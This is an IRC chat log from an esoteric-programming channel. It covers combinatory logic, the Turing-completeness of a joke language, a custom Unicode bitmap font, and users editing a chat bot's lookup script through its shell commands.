22:00:14  I really hope it's the second one; that's the one my parser recognizes
22:00:33  FireFly: Do you know?
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22:09:26  hppavilion[1]: usually the second one, SKI means (SK)I, like in Haskell
22:09:53  Ok. Good. I did NOT want to rewrite my parser xD
22:12:01  hppavilion[1]: http://esolangs.org/wiki/Combinatory_logic
22:13:12  b_jonas: Yes, I know, I made most of the grunt work on that page xD
22:13:32  The entire list of TMaMb combinators was translated by me xD
22:13:59  ok
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22:16:06  Oh. Think I just thought up a bug
22:16:12  Wait, no
22:20:11  I* = S(SK). What does S(SK) do, really?
22:20:34  And how do you have "Identity bird, once removed"?
22:24:43  S(SK)yz = (SK) z (y z) = S K z (y z) = K (y z) (z (y z)) = y z
22:24:53  = Iyz
22:25:00  hence S(SK) = I
22:25:27  [wiki] [[Aubergine/aubergine.py]]  http://esolangs.org/w/index.php?diff=45416&oldid=45414 * Quintopia * (+56) Python has arbitrary-size integers? Who knew?
22:29:44  anyone want  a copy of dont starve together?
22:30:07  @check \y z -> ap (ap const) y z == y z
22:30:10   No instance for (Typeable a0) arising from a use of ‘myquickcheck’
22:30:10   In the first argument of ‘text’, namely ‘(myquickcheck (\ y z -> ap (ap cons...
22:30:35  @check \y z -> ap (ap const) y z == (y (z :: Int) :: Int)
22:30:38   Couldn't match type ‘Int -> a0’ with ‘Int’
22:30:38   Expected type: Int -> Int -> Int Actual type: (Int -> a0) -> Int -> Int In t...
22:31:28 -!- oerjan has joined.
22:31:38  @check \y z -> ap (ap const) y z == (y (z :: Int -> Int) :: Int)
22:31:40   +++ OK, passed 100 tests.
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22:33:58  quintopia, sure, I guess
22:35:35  [wiki] [[Combinatory logic]]  http://esolangs.org/w/index.php?diff=45417&oldid=44733 * Hppavilion1 * (+276) Alternative primitives, see also
22:36:10  [wiki] [[Combinatory logic]]  http://esolangs.org/w/index.php?diff=45418&oldid=45417 * Hppavilion1 * (+0) /* See also */ Link fixed
22:38:02  [wiki] [[Probabilistic combinatory logic]] M http://esolangs.org/w/index.php?diff=45419&oldid=45377 * Hppavilion1 * (+6) Minor changes
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22:52:44  <\oren\> ooh, I hope you have everything backed up <-- erm... maybe not too recently.
22:54:01  on the bright side, it looks better now, after i managed to run chkdsk.  i had to run it from an automatic recovery version because the direct one crashed.
22:54:24  although IE lost all cookies and the logs, not the first time...
22:55:06  *normal one
22:58:04  i'm going to give windows the benefit of the doubt that the reboots were due to a fatal error rather than an unprompted scheduling.
22:58:17  well, the first one.  the rest obviously were.
22:58:38  The other day I accidentally stayed awake until Windows suddenly decided that it was time for a SCHEDULED REBOOT
22:59:04  and if things are still wrong i'll try the recovery which should work now (it refused before because chkdsk wouldn't run)
22:59:26  Taneb: i initially thought that was what happened yesterday.
23:02:04 * int-e sighs... trying to find a copy of http://dx.doi.org/10.3233/FI-2009-0070 ...
23:05:35 -!- heroux has quit (Ping timeout: 264 seconds).
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23:13:58  int-e: at least they're offering you to buy it
23:14:50  do you have an expenses budget you can put it on
23:14:57 -!- sebbu has joined.
23:16:49  eek IE isn't working right :(
23:17:38 -!- Vinegar has joined.
23:17:50  huh there it worked
23:18:57  I guess the right thing to do is to email the author.
23:23:36  aww IE also wiped out the visited link db
23:24:10  (the one thing it preserved for some reason was the url bar suggestions)
23:24:27  of non-permanent data, that is
23:24:35  good opportunity to switch browsers hth
23:25:07  shachaf: it's not IE's fault that something messed up part of the disk
23:25:08  what's a bad opportunity?
23:25:21  naturally i'm referring to Microsoft® Edge®
23:25:33 * oerjan hits shachaf with the saucepan ===\__/
23:26:38  anyway i consider IE likely to be an innocent bystander in what happened.
23:26:53  sure
23:27:02  not blaming any browser
23:27:21  there's a messed up update waiting to be retried, i vaguely recall those have caused unwanted reboots in the past.
23:32:50  [wiki] [[Merucik]]  http://esolangs.org/w/index.php?diff=45420&oldid=45313 * Hppavilion1 * (+0) fixed spelling of "Brainfuck"
23:33:53  hppavilion[1]: pointless
23:34:13  izabera: What?
23:37:09  the change from brainf*** 
23:38:36  it is the preferred spelling for the wiki though, afair
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23:44:18   oerjan: how do you feel about CHIQRSX9+ being used in code golf competitions? (In particular, in the seven competitions it has a good chance of winning.) <-- "not my problem if they allow it" hth
23:46:21  You know, Q is unnecessary in a quine competition.
23:46:48  OKAY
23:46:59  Code golf: instantiate an object of a new subclass of the generic superclass, and also increment the accumulator twice
23:48:19  Jafet: it's very useful for a "print n copies of the program interspersed with Qs", though.  i think.  there may be restrictions on n.
23:48:31  *+competition
23:49:08  n=1 is trivial.
23:49:37  hm...
23:50:17  you can print square numbers of Qs...
23:51:48  n^2 = (i+1)*n - 1 hm i sense a problem
23:51:59  wait
23:52:10  * i^2 = (n+1)*i - 1
23:52:23  so not that useful.
23:58:10  Taneb: sorry, did you specify a programming language?
23:58:23  int-e, no, but the hint is HQ9++
23:58:26  fungot: help!
23:58:26  int-e: wait... did you think of death as infinitely bad, if i happen to work out
23:59:00  how come no one ever told me about fractran tdnh
23:59:11  If fungot goes to the gym, does Pascal's Wager go the other way?
23:59:12  Taneb: it seems prometheus objects are circular data structures
23:59:13  Taneb: Oh. I'm not sure I ever saw that one. (I did know HQ9 and HQ9+)
23:59:20  oerjan: PCG will allow it as soon as a deterministic interpreter exists I think. Just have X be a TM simulator instead
23:59:34  that's a good language

2015-11-16:

00:04:24  quintopia: i feel that a deterministic X is against the spirit of the language.
00:05:19  oerjan: what if I found a seed for random numbers such that the current implementation becomes a TM simulator
00:06:04  because that would essentially make the part after X part of CHIQRSX9+ itself.
00:06:22  fungot: wait, are you saying that working out leads to death? I mean, okay, it's not wrong, but it is awful marketing nonetheless.
00:06:23  int-e: even ignoring the bootstrapping issues ( which yasos makes difficult while t does not contain any intelligible finnish words. reality. distortion. field. you can inflect adjectives, but that's not the lisp way of function application, to support thread interruption and user repl interruption. it costs like fnord a lot
00:06:33  quintopia: the current implementation is a perl simulator if you get 0, hth
00:07:05  oerjan: how's that?
00:07:28  ...i suggest you look at it...
00:07:29  "(The Perl implementation generates a random number, adds it to each character in the program, and interprets the resulting program code as Perl code.)"
00:07:39  oh
00:07:44  (or read ... and believe ... the wiki)
00:08:02  i was thinking it just executed the output of the random number generator directly
00:08:08  bad memory
00:08:36   how come no one ever told me about fractran tdnh <-- my apologies
00:08:55  that would be interesting but less obviously turing complete... in fact, unlikely to be turing complete... uh, hard to say... but there's not much entropy to work with.
00:09:33  well we're not supposed to know whether or not it is actually turing-complete anyway
00:10:07  Night, all
00:10:15  I suppose one could write a program in the current version that is a TM simulator regardless of the random number
00:10:22  tanite
00:10:49  oerjan: accepted tdh
00:10:51  just make the part that becomes legible perl code consider the rest of the program a comment or string
00:11:13  shachaf: fwiw, I've seen oerjan talk about fractran quite a bit
00:11:15  quintopia: no, that is not possible; you always risk the first character becoming a perl syntax error. (e.g. a right parenthesis)
00:11:26  ^style
00:11:26  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
00:11:42  oerjan: no way around that?
00:11:59  int-e: i must not have been paying attention
00:12:09  or perhaps not present
00:12:27  fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong
00:12:27  int-e: yes, i know
00:12:34  nope.  it's a modulo 256 addition and all numbers 0 <= n < 256 are possible
00:12:38  fungot: well, that was a bit cheap
00:12:39  int-e: i don't play ircnomic any more either side of the force, of course. i just need to find out how to
00:12:47  ircnomic, eh.
00:13:08  fungot: anyway, good luck with finding that out
00:13:08  int-e: that name fnord not the only) languages where the very nature *is* to be esoteric.... seems like it was before i moved here
00:13:35  int-e: that first response was just beautiful
00:13:38  quintopia: although you could try to aim for maximal probability of being accepted...
00:14:02  `quoteadd  fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong   int-e: yes, i know
00:14:02  FireFly: how do i pipe darcs' output to it? if it matters
00:14:03  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: quoteadd: not found
00:14:06  (it's not that the other styles are that bad, but they do stand out more)
00:14:11  oerjan: what does the current implementation do if such a syntax error is encountered?
00:14:17  `addquote  fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong   int-e: yes, i know
00:14:17  FireFly: all planets are in the order of evaluation? isn't that like saying sociology is mostly english and not writing anything
00:14:19  1259)  fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong   int-e: yes, i know
00:14:26  oerjan: is there no way to catch such an error?
00:14:52 -!- variable has joined.
00:14:59  FireFly: that's mean, my grammar there is worse than fungot's.
00:15:00  int-e: you sensitive twit. if a robot collides with a piece of c folklore now. compiler implementors still talk of " mimicing monty python sketches, of course, my owner has to find any
00:15:11  quintopia: whatever perl's eval does, so i'm not sure...
00:15:17 * int-e weeps.
00:15:27  `perl -e eval(")"); eval(print "hi");
00:15:27  hi
00:15:40  `? twit
00:15:41  twit? ¯\(°​_o)/¯
00:15:44  int-e: ah it does at least continue with the remaining commands.
00:15:56  (assuming it works as in my test)
00:16:07  that _might_ be enough to make it work?
00:16:10  a twit is someone who twiits
00:16:32  what's a twitter?
00:16:43  Probably someone who twitters
00:16:54  a twitter is someone who turns people into twits
00:17:06  Ah yes, the act of twittering
00:17:56  oerjan: to be fair, int-e never told me about it either
00:18:06  I didn't either :(
00:18:06  nor did FireFly
00:18:07  hm i've not thought about that before, the implementation will _still_ interpret everything after X as commands, too
00:18:12  Fractran is an interesting language
00:18:18  including further Xes.
00:18:33  (fwiw, 'twit' is an actual english word)
00:20:51  @wn twit
00:20:53  *** "twit" wn "WordNet (r) 3.0 (2006)"
00:20:53  twit
00:20:53      n 1: someone who is regarded as contemptible [syn: {twerp},
00:20:53           {twirp}, {twit}]
00:20:53      2: aggravation by deriding or mocking or criticizing [syn:
00:20:55  [7 @more lines]
00:20:58  @wn twitter
00:20:59  *** "twitter" wn "WordNet (r) 3.0 (2006)"
00:20:59  twitter
00:21:01      n 1: a series of chirps [syn: {chirrup}, {twitter}]
00:21:03      v 1: make high-pitched sounds, as of birds [syn: {chitter},
00:21:05           {twitter}]
00:22:07  "aggravation by deriding or mocking or criticizing" <-- that does sound like a fair description of twitter(.com).
00:22:10 -!- variable has quit (Ping timeout: 240 seconds).
00:22:45  Oh, you figured it out. The true etymology
00:24:03  quintopia: actually the implementation errors out at unknown commands, that makes this harder i think.
00:24:58  !chiqrsx9+ XXXXXXXXXXXXX
00:25:16  i thought it had this
00:25:19  !sh echo hi
00:25:21  hi
00:25:29  !chiqrsx9+ XXXXXXXXXXXXXQ
00:25:40  !help interps
00:25:40  ​Sorry, I have no help for interps!
00:25:46  !help languages
00:25:46  ​languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
00:25:57  !userinterps
00:25:57  ​Installed user interpreters: _ about acro aol austro bc bct bf2c bfbignum botsnack brit brooklyn bypass_ignore bytes cat chaos chiqrsx9p choo cmd cpick ctcp dc decide drawl drome dubya echo ehird elmer fudd glogbot_ignore google graph hello helloworld hug id inc insanetemp jethro kraut lg lperl lsh map monqy num numberwang ook pansy pi pikhq ping pirate plot postmodern postmodern_aoler prefixes python python2 redneck reverse rimshot rot13 rot47 ruby_ sadbf san
00:26:01  oh
00:26:09  !chiqrsx9p XXXXXXXXXXXXX
00:26:10  No output.
00:26:14  !chiqrsx9p XXXXXXXXXXXXXQ
00:26:14  No output.
00:26:18  wat
00:26:25  !chiqrsx9p QQ
00:26:25  QQ \ QQ
00:26:35  !chiqrsx9p XX
00:26:36  No output.
00:26:40  !chiqrsx9p QXX
00:26:40  QXX
00:28:35  oh wait it _does_ clear the program.
00:28:40  !chiqrsx9p XH
00:28:40  No output.
00:28:47  so no chance then.
00:31:23  oerjan: it clears the program and then adds the empty program to the random number?
00:31:44  doesn't sound even *theoretically* TC
00:32:42  well you can test all seeds ;)
00:34:16  oh you mean an error clears the program
00:36:37  soo... would a machine be Turing-complete if any program had only a 2^(-32) chance of running correctly? This kind of adversarial randomness is quite unusual...
00:37:34  yes
00:37:37  (Usually you'd get a chance detect and retry a failed computation, but I don't see how this would work here)
00:38:08  and it's not that unusual
00:38:10  I mean
00:38:36  the earliest programmable computers quit working if a moth flew into them...
00:39:08  I suppose the odds they produced a correct result was greater than 2^(-32) but I also think it is in this case
00:44:16  Hmm, I guess I'm thinking in terms of models of computation; the point of those is to abstract from hardware failures and resource limitations. In that context, probabilistic models typically allow to get success probabilities arbitrarily close to one, usually by retrying a procedure with a fixed success probability often enough.
00:45:13 -!- Sprocklem_ has quit (Quit: brb).
00:45:46  But that's perhaps narrow-minded... people trying to guess pin codes are happy even with low success probabilities if they have enough debit cards at their disposal.
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01:12:57  somehow this made me smile... http://www.surlyqueen.net/loas/2015/03/05/558-somewhere/
01:13:12  (Harley's a cat)
01:17:54   oh you mean an error clears the program <-- i mean an X clears the program after running the rest as perl, error or not.
01:20:45  that's what i intended, i just didn't realize on rereading the code that i'd succeeded.
01:21:23  well, ideally maybe errors should be propagated too.
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02:11:38  oerjan: so the whole "keep executing after an error" is a bust. Which means there is some maximum p<1 probability the X will do anything useful.
02:12:39  yeah
02:27:39 -!- Vinegar has joined.
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02:37:00  `` cat wisdom/*S*
02:37:01  Nose such file or directory
02:37:07  `` ls wisdom/*S*
02:37:08  wisdom/ENOSTRIL
02:37:23  `rm wisdom/ENOSTRIL
02:37:25  No output.
02:37:27  why
02:37:43  because all wisdom/ is case lowered by default
02:37:50  *automatically
02:37:56  so?
02:38:01  and boily for some reason rejected that
02:38:14  well it means it will never show up with `? that way
02:38:32 * oerjan considers `wisdom borderline heresy
02:39:10  hm...
02:39:16  `` cat bin/wisdom
02:39:17  F="$(find wisdom/*"$1"* -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:39:24  wrong
02:39:28  very wrong
02:39:55  also what is rnooodl?
02:40:02  `` sed -i 's/shuf/grep -v "[A-Z]" | shuf' bin/wisdom
02:40:03  sed: -e expression #1, char 29: unterminated `s' command
02:40:11  `` sed -i 's/shuf/grep -v "[A-Z]/" | shuf' bin/wisdom
02:40:12  sed: -e expression #1, char 23: unknown option to `s'
02:40:15  argh
02:40:23  `` sed -i 's/shuf/grep -v "[A-Z]" | shuf/' bin/wisdom
02:40:26  No output.
02:40:31  `cat bin/wisdom
02:40:31  F="$(find wisdom/*"$1"* -type f | grep -v "[A-Z]" | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:40:35  still wrong
02:40:41  how so
02:40:43 -!- Vinegar has quit (Ping timeout: 250 seconds).
02:40:50  *"$1"* -> "*$1*"
02:41:08  um, no?
02:41:11  uhm yes
02:42:06  `` find wisdom/"*wisdom*" -type f
02:42:07  find: `wisdom/*wisdom*': No such file or directory
02:42:17  `` find wisdom/*"wisdom"* -type f
02:42:19  wisdom/something-that-isn't-in-hackego's-wisdom \ wisdom/wisdom \ wisdom/wisdome
02:42:24  definitely no.
02:42:47  it's also wrong in that it should use -name
02:43:01  `` find wisdom -name "*wisdom*" -type f
02:43:02  wisdom/something-that-isn't-in-hackego's-wisdom \ wisdom/wisdome \ wisdom/wisdom
02:43:32  `` ls wisdom/* | grep '[*]'
02:43:44  wisdom/brainf**k
02:44:12  `wisdom **
02:44:13 -!- codergeek42 has joined.
02:44:13  brainf**k/There is no such thing as brainf**k. You may be thinking of brainfuck.
02:44:24  the whole point of find over a shell glob in cases like this is to avoid E2BIG
02:45:48 -!- lleu has quit (Quit: That's what she said).
02:45:59  yes, but it would break the vital case of `wisdom ** hth
02:46:13  what
02:46:29  ah i see...
02:46:34  i wouldn't say "break" tho
02:46:57  admittedly it's sort of properly ironic.
02:48:05  oh hm
02:48:12  `cat bin/?
02:48:13  ​#!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \     then cat /dev/urandom; \     elif [ -e "$topic" ]; \     then cat "$topic" | rnooodl; \     elif [ -e "$topic1" ]; \     then cat "$topic1" | rnooodl; \     
02:48:28  `cat bin/wisdom
02:48:28  F="$(find wisdom/*"$1"* -type f | grep -v "[A-Z]" | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:49:29  `? noodl
02:49:30  nooodl is the correct spelling
02:49:34  `? noodl
02:49:34  nooooodl is the correct spelling
02:49:45  izabera: rnooodl is a very important program
02:49:57  `cat bin/rnooodl
02:49:57  perl -pe 's/([Nn])ooodl/"$1@{[o x(3+rand 7)]}dl"/ge'
02:50:04  `mk/x bin/wisdom//F="$(find wisdom -name "*"$(echo "$1" | lowercase)"*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:50:05  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/mk/x: No such file or directory
02:50:11  oops
02:50:15  `mkx bin/wisdom//F="$(find wisdom -name "*"$(echo "$1" | lowercase)"*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:50:18  bin/wisdom
02:50:27  `wisdom wisdom
02:50:29  something-that-isn't-in-hackego's-wisdom/It is now.
02:50:37  `cat bin/mkx
02:50:38  key=$(mk "$@") && echo "$key" && chmod +x "$key"
02:51:18  `wisdom misspellings of
02:51:19  find: paths must precede expression: of* \ Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression] \ /cat: : No such file or directory
02:51:23  darn
02:52:04  `cat bin/nooodl
02:52:05  cat: bin/nooodl: No such file or directory
02:52:08  `cat bin/noodl
02:52:09  cat: bin/noodl: No such file or directory
02:52:13  `mkx bin/wisdom//F="$(find wisdom -name "*""$(echo "$1" | lowercase)""*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:52:15  bin/wisdom
02:52:18  `wisdom misspellings of
02:52:19  misspellings of croissant/misspellings of crosant? ¯\(°​_o)/¯
02:52:22  yay!
02:52:26 <\oren\> I'm working on making a program to autogenerate my font character inventory page
02:52:40  i thought it was auto generated already
02:52:53 <\oren\> No, I just add characters manually each time
02:53:11  hm that looks redundant
02:53:19 <\oren\> which is why sometimes there are errors like characters in the font but not on the page, or vice versa
02:53:26  `mkx bin/wisdom//F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:53:28  bin/wisdom
02:53:30  `wisdom misspellings of
02:53:31  misspellings of croissant/misspellings of crosant? ¯\(°​_o)/¯
02:53:38  `wisdom taneb
02:53:39  tanebventory/The Tanebventory is big. Really big. For one thing, it contains a Hilbert hotel.
02:53:39  do you mean generating it via php every time it's requested?
02:54:19  i mean it probably won't overload your server but still <.<
02:55:48 -!- mauris_ has joined.
02:56:00  `wisdom
02:56:01  friendship/friendship wisdom
02:58:47 -!- mauris has quit (Ping timeout: 276 seconds).
03:07:55 <\oren\> izabera: nah, i'll generate it each time I upload a new version of my font. 
03:10:12  wise choice
03:13:13  i wrote this:  http://arin.ga/anwWvN/raw
03:13:28  it's one of the best pieces of bash code i've ever written
03:13:34  no kidding
03:13:37  i'm proud of it
03:13:45 -!- andrew has joined.
03:14:29  wrote it to show how clear looking bash can be        (and there's a hidden trick that makes it possible and that trick is the part i'm proud of)
03:16:04  if you find it you win a unicorn*
03:16:05 -!- Vinegar has joined.
03:16:15  *unicorn is pink and invisible
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03:35:37  The return value perhaps?
03:35:45  I guess that is a global `return`, seems kinda icky
03:36:03  another way to return is echo and $( )
03:36:21  I usually do that
03:37:00  that wouldn't work
03:37:20  use of "$@" to pass on all args?
03:37:36  that's... just what $@ does?
03:37:58  anyway every variable you affect in $( ) is lost afterwards
03:38:12  so you can't swap things in the array with $( )
03:39:46  anyway the trick is to use $A[i] in  (( ))
03:39:54  the name of the array being passed in
03:40:00  yeeeah that
03:40:26  $A[i] is not an array, $A expands to the name, followed by [i]
03:40:31  and (( )) uses it as an array
03:40:37  so that's the magic thing \o/
03:41:51  Ah
03:41:58  (( )) is kinda weird
03:42:09  but it looks so natural :D
03:44:13 <\oren\> IT WORKS
03:44:18 <\oren\> http://www.orenwatson.be/allchars.htm
03:44:20 -!- ^v has joined.
03:44:24  neat :D
03:44:37  whoa they're a shitload
03:45:07 <\oren\> there're
03:45:43 <\oren\> or in my better spelling system DerR
03:47:04 -!- Intellygent has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
03:47:17 -!- Vinegar has quit (Ping timeout: 265 seconds).
03:47:19  i can't see some of them
03:47:24 <\oren\> about 5568 characters
03:47:29  Neat.. your font supports some characters that render incorrectly for me in the .txt file
03:47:30  some chineese characters
03:47:33 <\oren\> izabera: some are glitched
03:48:03  there's a missing one in the 4th line from the bottom in the chineese characters rectangle
03:48:12  `unidecode ἖἗⯠⯡𐐦𐐧
03:48:14  U+1F16  - No such unicode character name in database \ UTF-8: e1 bc 96  UTF-16BE: 1f16  Decimal: ἖ \ ἖ (἖) \ Uppercase: U+1F16 \ Category: Cn (Other, Not Assigned) \  \ U+1F17  - No such unicode character name in database \ UTF-8: e1 bc 97  UTF-16BE: 1f17  Decimal: ἗ \ ἗ (἗) \ Uppercase: U+1F17 \ Category: Cn (Other, Not Assigne
03:48:44  Oh, maybe you have some private-use characters?
03:48:48  \oren\: you should add a sample text to show it
03:48:50 <\oren\> ἖἗ these two I drew based on the pattern set by the others in its block
03:50:06 <\oren\> some characters are private use, others I simply stole from innocent blocks for my own use
03:51:38 <\oren\> e.g. ➀➁➂➃➄➅➆➇➈➉ which I drew instead as lowercase numbers
03:53:35  add a sample $language text near the $language characters
03:53:45  OTF has ways to encode alternate character sets for things like text numerals
03:54:11 <\oren\> bah...
03:54:39 <\oren\> I try to stay far away from things like that
03:55:13 <\oren\> hard enough to draw all these characters without mucking with various technicalia 
03:56:06  Fair
03:57:16 <\oren\> what's a good sample text
04:00:10  we the people etc
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04:01:34  Markus Kuhn has one
04:02:29  http://www.cl.cam.ac.uk/~mgk25/unicode.html#examples 
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04:07:19  I just imagined a pan-Unicode bitmap font which is initially randomly constructed then optimized so that each glyph has a distinct shape (even by one pixel) while minimizing the differences to the source font
04:16:47 <\oren\> http://www.orenwatson.be/fontdemo.htm << updated with some sample texts
04:17:27  what does the runes one say?
04:18:38 <\oren\> it's the first stanza of this http://www.ragweedforge.com/rpaa.html
04:19:08 <\oren\> i think
04:35:47 <\oren\> anyway, the autogeneration rpgram is here http://www.orenwatson.be/ttfinvread.htm
04:36:35  please use a syntax highlighter that understands 0x80
04:38:31 <\oren\> fixed
04:39:08  much better
04:41:02  you check newlinemode in a loop but you never change its value inside of it
04:41:21 <\oren\> right
04:41:53 <\oren\> newlinemode is used to determine when a newline should be used, to format the characters into rows
04:42:27 <\oren\> mode 0 is used for areas of scattered characters like the chinese
04:42:44 <\oren\> mode 1 is used for blocks of characters that are all defines
04:48:30  \oren\: what is a purpose of U+038D and U+03A2?
04:48:38  (looking at http://www.orenwatson.be/allchars.htm )
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05:12:36  fizzie: Gregor: did esolangs.org's certificate just expire
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05:15:57  looks like it
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05:23:19  Gregor: fizzie: I hear Let's Encrypt exists.
05:25:18  it's in beta
05:25:40  meaning you need an invite
05:27:09 <\oren\> lifthrasiir: it's a maker's mark
05:53:31  \oren\: I know, I wondered what U+038D reads (it actually said VER 8 in the vertical reading) at first. now the question is: why is it there? :)
05:53:43  (i.e. not U+F8FF or similar)
06:00:50 <\oren\> because originally I was usign fontstruct.com to make my font, and it doesn't support the privat euse area
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06:15:10  heh, interesting.
06:15:26  \oren\: are you interested in supporting all Hanguls?
06:16:49 <\oren\> eventually
06:17:09  *sigh* my computer rebooted again.
06:17:10 <\oren\> not until i finish all joyo kanji
06:17:46  then i did a stupid choice that i too late realized would wipe out much _more_ than i intended - and somehow it failed to go through.
06:18:09  now let's see if i can find the recovery option i actually wanted.
06:19:42  fuck, the recovery points have been wiped out.
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06:24:03 <\oren\> shut it down and boot a rescue disk, backup your shit
06:24:11 <\oren\> then nuke it
06:24:54  an interesting proposition, if i had a rescue disk.
06:25:04  or a disk at all.
06:25:58 <\oren\> usb stick?
06:26:19  i have one, somewhere.  no idea where it is after the move.
06:26:50 <\oren\> alternatively, can you transplant the drive into a working computer?
06:27:06  i have only one computing device
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06:30:37 <\oren\> hmmm... hard to do without a second computer, but you could maybe burn a disk at an internet cafe?
06:31:19 <^v> i am creating my most esoteric language yet
06:31:20  please stop making suggestions.
06:31:28 <^v> consisting of only ^ and v
06:31:37 <^v> i finnaly decided how its going to work
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06:37:58 <^v> :< This server could not prove that it is esolangs.org; its security certificate expired 1 day(s) ago.
06:38:59  [wiki] [[Special:Log/newusers]] create  * PixelToast *  New user account
06:43:53 <^v> das me
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08:18:46  `? people who taneb is not
08:18:48  elliott, a rabbi, Mark Zuckerberg, James Bond
08:19:21  poor hoffmann
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08:25:03  Taneb: is that a complete list?
08:28:16  but of course.
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08:42:47  hmph it is downloading that broken upgrade again...
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08:55:17  \oren\: oh nice, you've improved the sample page
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09:00:35  \oren\: in the autogenerated list of all characters, can you list the total count of glyphs you have in the font, computed automatically?
09:02:37  \oren\: also, in the sample texts, can you add some Serbian or Macedonian etc text that shows off the ј and ѓ characters?
09:03:17  \oren\: incidentally, does the cyrillic Ј and the latin J look the same in your font?
09:04:35  \oren\: also, do the cyrillic Ѕ and І look the same as the latin S and I resp? 
09:10:21  make that s/the ј and ѓ characters/the ј, ѓ, љ, њ characters/
09:11:19  oerjan: Oh, I saw an expiration warning from StartSSL but didn't think of esolangs.org. Annoying.
09:12:32  I'd really prefer let senc rypt, but their public beta doesn't start until Dec 3rd.
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10:32:06  flute
10:32:37  oboe
10:39:51  Heckelphone.
10:59:55  this is buggy
11:00:01  `? sousaphone
11:00:03  sousaphone? ¯\(°​_o)/¯
11:00:09  `? tuning
11:00:10  tuning? ¯\(°​_o)/¯
11:00:14  fungot: oboe
11:00:14  b_jonas: and if it still is.
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12:12:50  fungot: What's your favourite woodwind instrument? 
12:12:50  fizzie: you probably know, but that wasn't my point, of course. that's what lexical scope is highly useful for debugging which you can only move in fnord in slib.
12:13:13  fungot: No, I don't know, that's why was asking.
12:13:13  fizzie: too far? what's that
12:14:03  Concerto in Fnord minor for a Lexical Scope.
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12:55:02  sedgewick writes in comic sans http://www.sorting-algorithms.com/static/QuicksortIsOptimal.pdf
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13:14:55  It's a legible font.
13:15:34  \oren\'s would be too, if not for that s.
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14:07:46  http://imgur.com/gallery/6cXwaMG    prettyyyyy *_*
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14:11:29  idris-bot: oh wow
14:20:14 <\oren\> izabera: looks like a rare steak
14:20:48  idris-bot? I mean izabera
14:20:59  I am not very good at tab-completing on this client
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15:27:21  http://imgur.com/gallery/RG7Kd is cute... and a puzzle: 1) in which direction did the camera scan the image? 2) how many rotor blades are there? 3) how many rotations did the propellor make while the picture was scanned?
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16:23:25  RING THE OBELL!
16:23:51  shachaf, oerjan: ring the obell
16:24:47  `olist overflow
16:24:48  olist overflow: shachaf oerjan Sgeo FireFly boily nortti b_jonas
16:25:07  "overflow"?
16:25:12  hmm, N+1 might have been closer to my intention
16:25:24  I don't read oots, I have no clue what the current number is.
16:25:55  [wiki] [[BrainfuckX]] N http://esolangs.org/w/index.php?oldid=45421 * Gemdude46 * (+1569) Created page with "BrainfuckX is an extension of brainfuck that is backwards compatible with all uncommented brainfuck programs.  Cells are unsigned bytes. Cell pointer starts in the leftmost ce..."
16:26:24  and now the bell is rung.
16:27:47  Deserving of an obell prize
17:05:22  fungot doesn't know what too far means
17:05:22  mroman: i find that bugs are easy to do,
17:05:40  Introducing bugs is easy, introducing security vulnerabilites is hard work.
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17:54:22   I don't read oots, I have no clue what the current number is. ← 1000 I believe
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18:12:54 * Taneb seems to be trying out for University Challenge again
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18:28:53  It's above 1000, but thereabout
18:29:13  1012 apparently
18:31:35  correct. that means it will probably be just short of the round number by the end of the year
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18:34:06  Indeed
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19:04:35  int-e, I gave your puzzle some thought. 1) If I'm correct in assuming/guessing the propeller is rotating clockwise, then: from right to left. 2) 3 (every vertical line never crosses more than two different propeller slices) 3) around 2 and one thirds. (7 distinctive propeller... Shrugs, spacetime sections divided by 3, and some "feeling about the angles.")
19:04:40  [wiki] [[User:Hppavilion1/Spatial logic]] N http://esolangs.org/w/index.php?oldid=45422 * Hppavilion1 * (+430) Created first paragraph
19:08:13  GoToTell: sounds about right (though my guess is more like 5/3 turns)
19:16:10  int-e, how do you figure?
19:28:39  [wiki] [[WARP]]  http://esolangs.org/w/index.php?diff=45423&oldid=43695 * 210.86.93.89 * (+11) Point to github repo for source
19:28:46  I think I did OK in the University Challenge try-out
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19:30:18  For the show itself, or the chance to reprisent your uni?
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19:32:03  GoToTell: well, I picture it as this, the 7th blade is the same as the 1st blade, so when the 7th blade makes it to where the 1st blade started, then we'll have two full turns... but there's still some way to go before that happens.
19:32:13  GoToTell: the latter
19:32:18  University of York
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19:35:51  The way I see it is that's nor really a 7tth blade, only A B C passing where the line scanned through. Any group of three of those sections have to be A B and C in sequence... wait I think I'm coming round
19:35:55  I
19:36:22  I'm counting when I sound maybe be measuring area.Okay.
19:37:18  Taneb, that's awesome. Used to watch University Challenge all the time.
19:37:33  Tried out last year, didn't do very well
19:37:44  I think I've done a little bit better this year, but I don't know yet
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19:38:43  Unlucky questions?
